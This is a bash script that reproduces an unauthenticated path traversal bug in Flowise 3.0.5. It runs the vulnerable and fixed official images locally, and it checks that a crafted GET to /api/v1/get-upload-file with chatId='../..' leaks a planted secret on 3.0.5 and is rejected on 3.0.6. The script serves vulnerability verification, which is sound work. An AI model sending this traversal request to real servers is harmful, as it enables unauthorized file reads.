#!/bin/bash
set -euo pipefail

# Portable paths - works from any directory.
ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
CACHE_CONTEXT="$ROOT/project_cache_context.json"
mkdir -p "$LOGS" "$REPRO_DIR"
cd "$ROOT"

MAIN_LOG="$LOGS/reproduction_steps.log"
: > "$MAIN_LOG"
exec > >(tee -a "$MAIN_LOG") 2>&1

VULN_VERSION="3.0.5"
FIXED_VERSION="3.0.6"
VULN_COMMIT="ba6a602cbe87d9f55c9ee6aebb6407ec2f2066b5"
FIXED_COMMIT="89a0f23fe5e9c0b1ee85ee1175032c6b9e5ac9c1"
IMAGE_REPOSITORY="flowiseai/flowise"
VULN_IMAGE_MANIFEST="sha256:30d4fdf8b9e215abff31a67ab104a9750ca25354fe98fe97a3481bbca0352098"
FIXED_IMAGE_MANIFEST="sha256:86b83c5f55cd7989453789a39c568d08885be50e74faf9abd5e238269bcfe489"

PROJECT_CACHE_DIR=""
if [[ -r "$CACHE_CONTEXT" ]] && jq -e '.prepared == true and (.project_cache_dir | type == "string")' "$CACHE_CONTEXT" >/dev/null 2>&1; then
    PROJECT_CACHE_DIR="$(jq -r '.project_cache_dir' "$CACHE_CONTEXT")"
fi
if [[ -z "$PROJECT_CACHE_DIR" || ! -d "$PROJECT_CACHE_DIR" ]]; then
    PROJECT_CACHE_DIR="$ROOT/artifacts/flowise"
    mkdir -p "$PROJECT_CACHE_DIR"
fi
REPO="$PROJECT_CACHE_DIR/repo"
ROOTFS_BASE="${TMPDIR:-/tmp}/pruva-flowise-rootfs"
RUN_TOKEN="$(python3 - <<'PY'
import secrets
print(secrets.token_hex(8))
PY
)"
PIDS=()
HEALTHY_ANY=false
REACHED_ANY=false

write_manifest() {
    local reached="$1" healthy="$2"
    python3 - "$REPRO_DIR/runtime_manifest.json" "$reached" "$healthy" <<'PY'
import json, sys
path, reached, healthy = sys.argv[1:]
data = {
  "entrypoint_kind": "endpoint",
  "entrypoint_detail": "unauthenticated GET /api/v1/get-upload-file with chatId path traversal",
  "service_started": healthy == "true",
  "healthcheck_passed": healthy == "true",
  "target_path_reached": reached == "true",
  "runtime_stack": ["official_flowise_container_filesystem", "node", "flowise_http_server", "sqlite", "local_storage"],
  "proof_artifacts": [
    "logs/reproduction_steps.log",
    "logs/vulnerable_attempt1_service.log", "logs/vulnerable_attempt1_response.txt",
    "logs/vulnerable_attempt2_service.log", "logs/vulnerable_attempt2_response.txt",
    "logs/fixed_attempt1_service.log", "logs/fixed_attempt1_response.txt",
    "logs/fixed_attempt2_service.log", "logs/fixed_attempt2_response.txt",
    "logs/flowise_3.0.5_image_manifest.json", "logs/flowise_3.0.6_image_manifest.json",
    "repro/source_identity.log"
  ],
  "notes": "Two isolated vulnerable and two isolated fixed real Flowise HTTP server attempts. Each setup request is authenticated; each exploit request is deliberately sent without cookies, Authorization, API key, or x-request-from."
}
with open(path, "w", encoding="utf-8") as f:
    json.dump(data, f, indent=2)
    f.write("\n")
PY
}

cleanup() {
    local rc=$?
    for pid in "${PIDS[@]:-}"; do kill "$pid" >/dev/null 2>&1 || true; done
    wait >/dev/null 2>&1 || true
    if [[ ! -s "$REPRO_DIR/runtime_manifest.json" ]]; then write_manifest false false; fi
    exit "$rc"
}
trap cleanup EXIT INT TERM

for tool in curl git jq python3 tar; do
    command -v "$tool" >/dev/null || { echo "ERROR: required tool missing: $tool"; exit 2; }
done

if [[ ! -d "$REPO/.git" ]]; then
    rm -rf "$REPO"
    git clone --filter=blob:none https://github.com/FlowiseAI/Flowise.git "$REPO"
fi
git -C "$REPO" fetch --tags --force
[[ "$(git -C "$REPO" rev-parse 'flowise@3.0.5^{commit}')" == "$VULN_COMMIT" ]]
[[ "$(git -C "$REPO" rev-parse 'flowise@3.0.6^{commit}')" == "$FIXED_COMMIT" ]]
# Verify the exact fixing hunk is absent/present before execution.
! git -C "$REPO" show "$VULN_COMMIT:packages/components/src/storageUtils.ts" | grep -Fq 'isPathTraversal(chatflowId) || isPathTraversal(chatId)'
git -C "$REPO" show "$FIXED_COMMIT:packages/components/src/storageUtils.ts" | grep -Fq 'isPathTraversal(chatflowId) || isPathTraversal(chatId)'
{
    echo "repository=https://github.com/FlowiseAI/Flowise.git"
    echo "vulnerable_version=flowise@$VULN_VERSION"
    echo "vulnerable_commit=$VULN_COMMIT"
    echo "vulnerable_linux_amd64_image_manifest=$VULN_IMAGE_MANIFEST"
    echo "fixed_version=flowise@$FIXED_VERSION"
    echo "fixed_commit=$FIXED_COMMIT"
    echo "fixed_linux_amd64_image_manifest=$FIXED_IMAGE_MANIFEST"
} > "$REPRO_DIR/source_identity.log"

registry_token() {
    curl -fsSL 'https://auth.docker.io/token?service=registry.docker.io&scope=repository:flowiseai/flowise:pull' | jq -r .token
}

extract_official_image() {
    local version="$1" expected_digest="$2" dest="$3" manifest_log="$4"
    rm -rf "$dest"
    mkdir -p "$dest"
    local token index digest manifest layer
    token="$(registry_token)"
    index="$(curl -fsSL -H "Authorization: Bearer $token" -H 'Accept: application/vnd.oci.image.index.v1+json' \
        "https://registry-1.docker.io/v2/$IMAGE_REPOSITORY/manifests/$version")"
    digest="$(jq -r '.manifests[] | select(.platform.os == "linux" and .platform.architecture == "amd64") | .digest' <<<"$index")"
    [[ "$digest" == "$expected_digest" ]] || { echo "ERROR: unexpected $version image digest: $digest"; exit 2; }
    manifest="$(curl -fsSL -H "Authorization: Bearer $token" -H 'Accept: application/vnd.oci.image.manifest.v1+json' \
        "https://registry-1.docker.io/v2/$IMAGE_REPOSITORY/manifests/$digest")"
    jq -n --arg version "$version" --arg digest "$digest" --argjson manifest "$manifest" \
        '{version:$version,linux_amd64_manifest_digest:$digest,manifest:$manifest}' > "$manifest_log"
    while IFS= read -r layer; do
        echo "Extracting $version layer $layer"
        curl -fsSL --retry 3 -H "Authorization: Bearer $token" \
            "https://registry-1.docker.io/v2/$IMAGE_REPOSITORY/blobs/$layer" | tar -xzf - -C "$dest"
    done < <(jq -r '.layers[].digest' <<<"$manifest")
    local app="$dest/usr/local/lib/node_modules/flowise"
    [[ -x "$dest/usr/local/bin/node" && -f "$app/bin/run" ]]
    [[ "$(jq -r .version "$app/package.json")" == "$version" ]]
    [[ "$(jq -r .version "$app/node_modules/flowise-components/package.json")" == "$version" ]]
}

VULN_ROOTFS="$ROOTFS_BASE-$RUN_TOKEN-305"
FIXED_ROOTFS="$ROOTFS_BASE-$RUN_TOKEN-306"
extract_official_image "$VULN_VERSION" "$VULN_IMAGE_MANIFEST" "$VULN_ROOTFS" "$LOGS/flowise_3.0.5_image_manifest.json"
extract_official_image "$FIXED_VERSION" "$FIXED_IMAGE_MANIFEST" "$FIXED_ROOTFS" "$LOGS/flowise_3.0.6_image_manifest.json"

http() { env -u LD_LIBRARY_PATH curl "$@"; }

run_attempt() {
    local role="$1" attempt="$2" rootfs="$3" expected_version="$4" expect_read="$5"
    local port app state storage outside_file secret service_log cookie register_body login_body flow_body flow_response
    local response headers flow_id status pid libs
    if [[ "$role" == vulnerable ]]; then port=$((18400 + attempt)); else port=$((18420 + attempt)); fi
    app="$rootfs/usr/local/lib/node_modules/flowise"
    state="$REPRO_DIR/state_${role}_${attempt}"
    storage="$state/storage"
    outside_file="$state/outside-secret.txt"
    secret="PRUVA_${role^^}_${attempt}_${RUN_TOKEN}"
    service_log="$LOGS/${role}_attempt${attempt}_service.log"
    cookie="$state/setup.cookie"
    register_body="$state/register.json"
    login_body="$state/login.json"
    flow_body="$state/flow.json"
    flow_response="$state/flow_response.json"
    response="$LOGS/${role}_attempt${attempt}_response.txt"
    headers="$LOGS/${role}_attempt${attempt}_headers.txt"
    rm -rf "$state"
    mkdir -p "$storage" "$state/home"
    printf '%s' "$secret" > "$outside_file"

    python3 - "$register_body" "$login_body" "$flow_body" "$role" "$attempt" "$RUN_TOKEN" <<'PY'
import json, sys
reg, login, flow, role, attempt, token = sys.argv[1:]
email = f"{role}{attempt}-{token}@example.invalid"
password = "CorrectHorseBattery42!"
json.dump({"user":{"name":"Repro Owner","email":email,"credential":password}}, open(reg,"w"))
json.dump({"email":email,"password":password}, open(login,"w"))
flow_data = json.dumps({"nodes":[],"edges":[],"viewport":{"x":0,"y":0,"zoom":1}})
json.dump({"name":"seed flow","flowData":flow_data,"type":"CHATFLOW"}, open(flow,"w"))
PY

    libs="$rootfs/lib:$rootfs/usr/lib:$rootfs/usr/local/lib:$app/node_modules/sqlite3/build/Release"
    echo "=== $role attempt $attempt: Flowise $expected_version ==="
    env HOME="$state/home" PORT="$port" STORAGE_TYPE=local BLOB_STORAGE_PATH="$storage" \
        DATABASE_TYPE=sqlite DATABASE_PATH="$state" DISABLE_FLOWISE_TELEMETRY=true LD_LIBRARY_PATH="$libs" \
        "$rootfs/lib/ld-musl-x86_64.so.1" --library-path "$libs" "$rootfs/usr/local/bin/node" "$app/bin/run" start \
        > "$service_log" 2>&1 &
    pid=$!
    PIDS+=("$pid")
    local ready=false
    for _ in $(seq 1 75); do
        if http -fsS --max-time 2 "http://127.0.0.1:$port/api/v1/ping" >/dev/null 2>&1; then ready=true; break; fi
        kill -0 "$pid" >/dev/null 2>&1 || break
        sleep 2
    done
    [[ "$ready" == true ]] || { echo "ERROR: $role attempt $attempt did not become healthy"; cat "$service_log"; return 2; }
    HEALTHY_ANY=true
    grep -Fq "Flowise Server is listening at :$port" "$service_log"

    # Administrative setup only: create the legitimate chatflow whose UUID the public download handler requires.
    http -fsS --max-time 15 -H 'Content-Type: application/json' --data-binary "@$register_body" \
        "http://127.0.0.1:$port/api/v1/account/register" > "$state/register_response.json"
    http -fsS --max-time 15 -c "$cookie" -H 'Content-Type: application/json' --data-binary "@$login_body" \
        "http://127.0.0.1:$port/api/v1/auth/login" > "$state/login_response.json"
    http -fsS --max-time 15 -b "$cookie" -H 'x-request-from: internal' -H 'Content-Type: application/json' \
        --data-binary "@$flow_body" "http://127.0.0.1:$port/api/v1/chatflows" > "$flow_response"
    flow_id="$(jq -r .id "$flow_response")"
    [[ "$flow_id" =~ ^[0-9a-f-]{36}$ ]]

    # Exploit request: no Cookie, Authorization, API key, or x-request-from header is sent.
    status="$(http -sS --max-time 15 -D "$headers" -o "$response" -w '%{http_code}' --get \
        "http://127.0.0.1:$port/api/v1/get-upload-file" \
        --data-urlencode "chatflowId=$flow_id" --data-urlencode 'chatId=../..' --data-urlencode 'fileName=outside-secret.txt')"
    REACHED_ANY=true
    echo "unauthenticated_status=$status"
    cat "$headers"
    cat "$response"; echo

    if [[ "$expect_read" == true ]]; then
        [[ "$status" == 200 ]]
        [[ "$(cat "$response")" == "$secret" ]]
        # streamStorageFile migrates the escaped file after reading it; both observations prove traversal.
        [[ ! -e "$outside_file" ]]
        [[ "$(cat "$storage/outside-secret.txt")" == "$secret" ]]
        echo "VULNERABLE_UNAUTHENTICATED_READ_CONFIRMED content=$secret escaped_source=$outside_file"
    else
        [[ "$status" == 500 ]]
        grep -Fq 'Invalid path characters detected in chatflowId or chatId' "$response"
        [[ "$(cat "$outside_file")" == "$secret" ]]
        [[ ! -e "$storage/outside-secret.txt" ]]
        echo "FIXED_REJECTION_CONFIRMED content_not_disclosed=$secret source_unchanged=$outside_file"
    fi
    kill "$pid" >/dev/null 2>&1 || true
    wait "$pid" >/dev/null 2>&1 || true
}

run_attempt vulnerable 1 "$VULN_ROOTFS" "$VULN_VERSION" true
run_attempt vulnerable 2 "$VULN_ROOTFS" "$VULN_VERSION" true
run_attempt fixed 1 "$FIXED_ROOTFS" "$FIXED_VERSION" false
run_attempt fixed 2 "$FIXED_ROOTFS" "$FIXED_VERSION" false

write_manifest "$REACHED_ANY" "$HEALTHY_ANY"
python3 -m json.tool "$REPRO_DIR/runtime_manifest.json" >/dev/null
echo "REPRODUCTION_CONFIRMED: Flowise 3.0.5 disclosed an out-of-storage-root secret through the unauthenticated HTTP API twice; Flowise 3.0.6 rejected the same traversal twice."
